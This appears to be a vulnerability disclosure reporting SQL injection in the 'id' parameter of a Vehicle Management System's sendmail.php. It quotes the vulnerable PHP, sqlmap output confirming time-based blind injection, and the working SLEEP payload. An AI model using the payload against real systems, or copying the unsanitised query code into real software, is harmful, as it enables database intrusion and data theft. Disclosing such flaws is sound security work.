Vehicle Management System sendmail.php has Sqlinjection

Vehicle Management System sendmail.php has Sqlinjection,The basic introduction of this vulnerability is that SQL injection means that the web application does not judge or filter the validity of user input data strictly.An attacker can add additional SQL statements to the end of the predefined query statements in the web application to achieve illegal operations without the administrator's knowledge, so as to cheat the database server to execute unauthorized arbitrary queries and further obtain the corresponding data information.

```php
<?php

    $connection= mysqli_connect('localhost','veh','123456','veh');
    session_start();

    $id= $_GET['id'];

    $sql= "SELECT * FROM `booking` WHERE booking_id='$id'";

    //echo $sql;
    $res= mysqli_query($connection,$sql);
    $row= mysqli_fetch_assoc($res);

if(isset($_POST['email'])) {



    // EDIT THE 2 LINES BELOW AS REQUIRED

    $email_to = $row['email'];

    //echo $email_to;
```

SqlmapAttack:

```
[16:07:39] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[16:08:21] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values?
[Y/n] Y
[16:08:21] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[16:08:21] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one othe
r (potential) technique found
[16:10:00] [INFO] checking if the injection point on GET parameter 'id' is a false positive
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 76 HTTP(s) requests:
---
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 5779 FROM (SELECT(SLEEP(5)))yjaY) AND 'Nnjq'='Nnjq
---
[16:10:56] [INFO] the back-end DBMS is MySQL
[16:10:56] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to pr
event potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
web application technology: PHP 7.3.4, Apache 2.4.39
back-end DBMS: MySQL >= 5.0.12 (Aurora fork)
[16:11:20] [INFO] fetched data logged to text files under 'C:\Users\qwe\AppData\Local\sqlmap\output\192.168.245.129'

[*] ending @ 16:11:20 /2024-12-13/
```

Payload:

Parameter: id (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 5779 FROM (SELECT(SLEEP(5)))yjaY) AND 'Nnjq'='Nnjq